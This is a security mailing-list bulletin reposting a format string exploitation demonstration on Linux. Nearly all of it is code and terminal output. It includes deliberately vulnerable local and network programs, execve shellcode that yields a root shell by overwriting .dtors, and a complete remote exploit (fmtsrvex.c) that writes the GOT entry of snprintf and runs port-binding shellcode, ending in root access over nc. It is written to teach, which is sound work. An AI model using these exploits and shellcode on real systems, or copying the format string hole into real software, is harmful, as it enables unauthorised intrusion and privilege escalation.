[REVS] Format String Exploitation Demonstration (Linux)



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Format String Exploitation Demonstration (Linux)
------------------------------------------------------------------------


SUMMARY

This paper assumes you have read the proper background information and/or
technical details about the above subject. If not, please do so, because
this read does not include key concepts but instead technical exploitation
examples. That being said, enjoy. Knowledge is power.

DETAILS

Local exploitation:
bugs@linux:~$ cat fmt.c
#include <stdio.h>

int main(int argc, char *argv[])
{

char buf[1024+1];

if(argc < 2) { printf("usage: %s data\n", argv[0]); return 0; }

snprintf(buf, sizeof(buf)-1, "%s", argv[1]);
printf(buf); // clearly a format string bug
printf("\n");

return 0;
}

bugs@linux:~$ gcc -o fmt fmt.c
bugs@linux:~$ ./fmt
usage: ./fmt data
bugs@linux:~$ ./fmt AAAA`perl -e 'print ".%p" x 20'`
AAAA.0x400.0x8048584.0xbffff727.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
bugs@linux:~$ ./fmt AAAA`perl -e 'print ".%p" x 12'`
AAAA.0x400.0x8048584.0xbffff73f.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x41414141
bugs@linux:~$

*** OFFSET = 12 ***

bugs@linux:~$ nm fmt | grep DTOR
0804959c d __DTOR_END__
08049598 d __DTOR_LIST__
bugs@linux:~$

*** DTORS = 0x0804959c ***

bugs@linux:~$ gdb fmt
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i486-linux-linux"...Using host libthread_db
library "/lib/libthread_db.so.1".

(gdb) break main
Breakpoint 1 at 0x80483dd
(gdb) r `perl -e 'print "\x90" x 800 .
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89 \xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Starting program: /home/bugs/fmt `perl -e 'print "\x90" x 800 .
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89 \xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

Breakpoint 1, 0x080483dd in main ()
(gdb) i r
eax 0x4015e47c 1075176572
ecx 0x0 0
edx 0xbffff2f4 -1073745164
ebx 0x4015bff0 1075167216
esp 0xbfffee80 0xbfffee80
ebp 0xbffff2a8 0xbffff2a8
esi 0xbffff300 -1073745152
edi 0x2 2
eip 0x80483dd 0x80483dd <main+9>
eflags 0x282 [ SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb) x/100x $esi+500
0xbffff4f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff504: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff514: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff524: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff534: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff544: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff554: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff564: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff574: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff584: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff594: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff604: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff614: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff624: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff634: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff644: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff654: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff664: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff674: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb) q
The program is running. Exit anyway? (y or n) y
bugs@linux:~$

*** RETURN ADDRESS = ~0xbffffxxx (lets use 0xbffff544) ***

bugs@linux:~$ pcalc 0x44-16
52 0x34 0y110100
bugs@linux:~$ pcalc 0xf5-0x44
177 0xb1 0y10110001
bugs@linux:~$ pcalc 0x1ff-0xf5
266 0x10a 0y100001010
bugs@linux:~$ pcalc 0x1bf-0xff
192 0xc0 0y11000000
bugs@linux:~$

Now lets put it all together...

DTORS --> DTORS+1 --> DTORS+2 --> DTORS+3
\x9c\x95\x04\x08\x9d\x95\x04\x08\x9e\x95\x04\x08\x9f\x95\x04\x08
0804959c --> 0804959d --> 0804959e --> 0804959f

Write our return address (0xbffff544) and offsets
%11\$52x%12\$n%11\$177x%13\$n%11\$266x%14\$n%11\$192x%15\$n
44 offset f5 offset+1 ff offset+2 bf offset+3

Put our nops and shellcode on the stack
`perl -e 'print "\x90" x 800 .
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
NOPS + SHELLCODE

bugs@linux:~$ ./fmt `printf
"\x9c\x95\x04\x08\x9d\x95\x04\x08\x9e\x95\x04\x08\x9f\x95\x04\x08"`%11\$52x%12\$n%11\$177x%13\$n%11\$266x%14\$n%11\$192x%15\$n`perl -e 'print "\x90" x 800 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
0 0 0 0 1 1 # 1 Ph//shh/bin PS
sh-3.1# id
uid=0(root) gid=100(users) groups=100(users)
sh-3.1# exit
exit
bugs@linux:~$

Remote exploitation:
Instead of using .dtors, we will use the Global Offset Table (GOT) for
remote action.

[Terminal #1]

bugs@linux:~$ cat fmtserv.c
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BUFFSZ 1024
#define READSZ 2048

int main(int argc, char *argv[])
{

if(argc < 2) { printf("Usage: %s port\n", argv[0]); return 0; }

int z, cli, serv, port = atoi(argv[1]);

struct sockaddr_in client, server;

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = INADDR_ANY;

if((serv = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error:
socket()\n"); return -1; }

if(bind(serv, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1)
{ printf("Error: bind()\n"); return -1; }

if(listen(serv, 10) == -1) { printf("Error: listen()\n"); return -1; }

for(;;)
{

cli = accept(serv, (struct sockaddr *)&client, &z);

if(vulnerable(cli) == -1) { printf("Error: vulnerable()\n"); close(cli); }

}

return 0;
}

int vulnerable(int sock)
{

char buffer[BUFFSZ], readbuf[READSZ];

memset(buffer, 0, BUFFSZ);
memset(readbuf, 0, READSZ);

read(sock, readbuf, READSZ, 0);

snprintf(buffer, BUFFSZ-1, readbuf); // format string vulnerability
here

send(sock, buffer, BUFFSZ, 0);

close(sock);

}

bugs@linux:~$ gcc -o fmtserv fmtserv.c
bugs@linux:~$ objdump -R fmtserv

fmtserv: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049a5c R_386_GLOB_DAT __gmon_start__
08049a6c R_386_JUMP_SLOT close
08049a70 R_386_JUMP_SLOT accept
08049a74 R_386_JUMP_SLOT listen
08049a78 R_386_JUMP_SLOT __libc_start_main
08049a7c R_386_JUMP_SLOT printf
08049a80 R_386_JUMP_SLOT bind
08049a84 R_386_JUMP_SLOT snprintf // we will use this address
08049a88 R_386_JUMP_SLOT atoi
08049a8c R_386_JUMP_SLOT send
08049a90 R_386_JUMP_SLOT htons
08049a94 R_386_JUMP_SLOT memset
08049a98 R_386_JUMP_SLOT socket
08049a9c R_386_JUMP_SLOT read

bugs@linux:~$ ./fmtserv 1234

[Terminal #2]

bugs@linux:~$ nc localhost 1234
test
test
bugs@linux:~$ nc localhost 1234
AAAA%p%p%p%p%p%p%p%p%p%p
AAAA(nil)0x414141410x702570250x702570250x702570250x702570250x702570250xa(nil)(nil)
bugs@linux:~$ nc localhost 1234
AAAA%2$x
AAAA41414141
bugs@linux:~$

Our offset is 2.

[Terminal #1]

bugs@linux:~$ gdb fmtserv
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i486-linux-linux"...Using host libthread_db
library "/lib/libthread_db.so.1".

(gdb) r 5555
Starting program: /home/bugs/fmtserv 5555

[Terminal #2]

bugs@linux:~$ cat fmtsrvex.c
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define GOTADDR 0x08049a84 // snprintf() --> objdump -R fmtserv
#define RETADDR 0x41424344 // return address to hit nop slide + shellcode

#define OFFSET 2
#define SIZE 1024

char shellcode[] = /* Linux Portbind @ 52972 */
"\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x52\x43\x68\xff\x02\xce\xec\x89\xe1"
"\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80"
"\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0"
"\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{

if(argc < 3) { printf("Usage: %s host port\n", argv[0]); return 0; }

char buffer[SIZE], *host = argv[1], *got[3] = {((char *)GOTADDR + 2),
((char *)GOTADDR),};
int i, high, low, len, sock, port = atoi(argv[2]);

struct sockaddr_in target;

high = (RETADDR & 0xffff0000) >> 16;
low = (RETADDR & 0x0000ffff);

high -= 0x8;

sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &got, high, OFFSET,
(low - high) - 0x8, OFFSET + 1);

memset(buffer + strlen(buffer), '\x90', 512);
sprintf(buffer + strlen(buffer), "%s\r\n", shellcode);

len = strlen(buffer);

target.sin_family = AF_INET;
target.sin_port = htons(port);
target.sin_addr.s_addr = inet_addr(host);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error:
socket()\n"); return -1; }
if(connect(sock, (struct sockaddr *)&target, sizeof(struct sockaddr)) ==
-1) { printf("Error: connect()\n"); return -1; }
send(sock, buffer, len, 0);
close(sock);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error:
socket()\n"); return -1; }
if(connect(sock, (struct sockaddr *)&target, sizeof(struct sockaddr)) ==
-1) { printf("Error: connect()\n"); return -1; }
send(sock, buffer, len, 0);
close(sock);

return 0;
}

bugs@linux:~$ gcc -o fmtsrvex fmtsrvex.c
bugs@linux:~$ ./fmtsrvex
Usage: ./fmtsrvex host port
bugs@linux:~$ ./fmtsrvex 127.0.0.1 5555
bugs@linux:~$

[Terminal #1]

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) x/100x $esp+200
0xbfffea14: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea24: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea34: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea44: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea54: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea64: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea74: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea84: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea94: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeaa4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeab4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeac4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffead4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeae4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeaf4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb04: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb14: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb24: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb34: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb44: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb54: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb64: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb74: 0x90909090 0x90909090 0x90909090 0x6a58666a
0xbfffeb84: 0x52995b01 0x89026a53 0x5280cde1 0x02ff6843
0xbfffeb94: 0xe189ecce 0x5051106a 0xc689e189 0x80cd66b0
(gdb) q
The program is running. Exit anyway? (y or n) y
root@linux:~# ./fmtserv 5555

[Terminal #2]

bugs@linux:~$ grep RETADDR fmtsrvex.c
#define RETADDR 0x41424344 // return address to hit nop slide + shellcode
high = (RETADDR & 0xffff0000) >> 16;
low = (RETADDR & 0x0000ffff);
bugs@linux:~$ pico fmtsrvex.c
bugs@linux:~$ grep RETADDR fmtsrvex.c
#define RETADDR 0xbfffeaa4 // return address to hit nop slide + shellcode
high = (RETADDR & 0xffff0000) >> 16;
low = (RETADDR & 0x0000ffff);
bugs@linux:~$ gcc -o fmtsrvex fmtsrvex.c
bugs@linux:~$ netstat -antp | grep 52972
(No info could be read for "-p": geteuid()=1000 but you should be root.)
bugs@linux:~$ ./fmtsrvex 127.0.0.1 5555
bugs@linux:~$ netstat -antp | grep 52972
(No info could be read for "-p": geteuid()=1000 but you should be root.)
tcp 0 0 0.0.0.0:52972 0.0.0.0:* LISTEN
-
bugs@linux:~$ nc localhost 52972
id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
exit
bugs@linux:~$


ADDITIONAL INFORMATION

The information has been provided by <mailto:0xjbrown41@xxxxxxxxx> Jeremy
Brown.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [EXPL] Citadel/UX Remote Buffer Overflow Exploit
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Citadel/UX Remote ... Listed below is a remote ... GNU gdb Red Hat Linux ...
    (Securiteam)
  • [UNIX] SoX Local Buffer Overflow Vulnerabilities (st_wavstartread)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... the program first reads 4 bytes from the .WAV file into a variable. ... GNU gdb 6.1-debian ... There is absolutely no warranty for GDB. ...
    (Securiteam)
  • [NEWS] 0verkill Buffer Overflow Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... $HOME environment variable demonstrates the buffer overflow, ... GNU gdb 5.0 ... vulnerability or to otherwise crash the program. ...
    (Securiteam)
  • [UNIX] Qmail Crash and Memory Overwrite After Long SMTP Session
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Overflow of the 'pos' variable: ... gdb attach 1810 ... Reading symbols from /var/qmail/bin/qmail-smtpd...done. ...
    (Securiteam)
  • problems with threads/destructors in -current with llvm/clang
    ... Single stepping until exit from function exit, ... Single stepping until exit from function f_prealloc, ... Single stepping until exit from function fflush, ...
    (freebsd-current)